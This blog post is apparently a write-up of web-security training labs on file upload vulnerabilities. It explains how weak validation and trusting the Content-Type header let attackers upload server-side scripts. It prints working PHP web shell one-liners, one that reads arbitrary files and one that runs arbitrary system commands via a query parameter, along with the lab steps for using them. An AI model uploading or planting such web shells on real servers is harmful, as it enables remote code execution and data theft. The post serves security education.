Post

5. File upload vulnerabilities

What are file upload vulnerabilities?

File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size. As a result, the user can upload arbitrary and potentially dangerous files.

Developers implement what they believe to be robust validation that is either inherently flawed or can be easily bypassed. For example, they may attempt to blacking dangerous file types, but fail to account for parsing discrepancies when checking the file extensions, or miss more obscure file types altogether. In other cases, the website may attempt to check the file type by verifying properties that can be easily manipulated by an attacker.

Ultimately, even robust validation measures may be applied inconsistenly across the network of hosts and directories that form the website, resulting in discrepancies that can be exploited.

Exploiting unrestricted file uploads to deploy a web shell

For a security perspective, the worst possible scenario is when a website allows you to upload server-side script, such as PHP, Java, Python, etc., and is also configured to execute them as code.

A web shell is a malicious script that enables an attacker to execute arbitrary commands on a remote web server simply by sending HTTP requests to the right endpoint.

If we are able to upload a web shell, we effectively have full control over the server. For example, the following PHP one-liner could be used to read arbitrary files from the server’s filesystem:

1
<?php echo file_get_contents('/path/to/target/file'); ?>

Once uploaded, sending a request for this malicious file will return the target file’s contents in response.

A more versatile web shell may look like this:

1
<?php echo system($_GET['command']); ?>

This script enables us to pass an arbitrary system command via a query parameter as follows:
GET /example/exploit.php?command=id HTTP/1.1.

Lab: Remote code execution via web shell upload

Objective: This lab contains a vulnerable image upload function. It doesn’t perform any validation on the files users upload before storing them on the server’s filesystem. To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner. You can log in to your own account using the following credentials: wiener:peter.

  1. Upon logging in, we can see an upload functionality:

  2. We notice that this functionality is intended for uploading images, so let’s enable Image capturing on Burp:

  3. We will upload a normal picture and examine how the upload process works:

  4. We can see that there is a GET request associated with the uploaded image which saves it under /files/avatars/. We can use this URL to access the image directly:

  5. Now we know how the upload files can be accessed, we can upload a webshell, get the contents of the required file, and submit our solution:

    1
    2
    3
    4
    5
    6
    7
    
     $ sudo chmod +x webshell.php
    
     $ cat webshell.php
     <?php echo file_get_contents('/home/carlos/secret'); ?>
    
     $ ls -l webshell.php
     -rwxr-xr-x 1 root root 56 Dec 20 14:49 webshell.php
    

Flawed file type validation

When submitting HTML forms, the browser typically sends the provided data in a POST request with the content type application/x-www-form-url-encoded. This is fine for sending simple text, like your name or address. However, it isn’t suitable for sending large amount of binary data, such as images or PDFs. In this case, the content type multipart/form-data is preferred.

Consider a field containing fields for uploading an image, providing a description for it, and entering your username. This might results in a request that looks like this:

The message body is split into separate parts for each of the form’s inputs. Each part contains a Content-Disposition header, which provides some basic info about the input field it relates to. The individual parts may also contain their own Content-Type header, which tells the server the MIME type of the data that was submitted using this input.

A media type, aka Multipurpose Internet Mail Extensions (MIME) type, indicates the nature and format of a document, file, or assortment of bytes. MIME types are defined and standardized in IETF’s RFC 6838.

One way that websites may attempt to validate file uploads is to check that this input-specific Content-Type header matches an expected MIME type. If the server is only expecting image files, for example, it may only allow types like image/jpeg and image/png. Problems can arise when the value of this header is implicitly trusted by the server. If no further validation is performed to check whether the contents of this file actually match the supposed MIME type, this defence can be easily bypassed.

Lab: Web shell upload via Content-Type restriction bypass

Objective: This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this. To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner. You can log in to your own account using the following credentials: wiener:peter.

  1. If we know try to upload the same webshell as before, webshell.php, we will get the following message:

  2. We can see that the Content-Type of webshell.php file is application/x-php. If we change that to something that the site accepts, image/jpeg or image/png, we will be able to bypass this restriction:

  3. We can now visit the URL that our webshell is stored, retrieved the content of the file, and submit our solution:

Resources

This post is licensed under CC BY 4.0 by the author.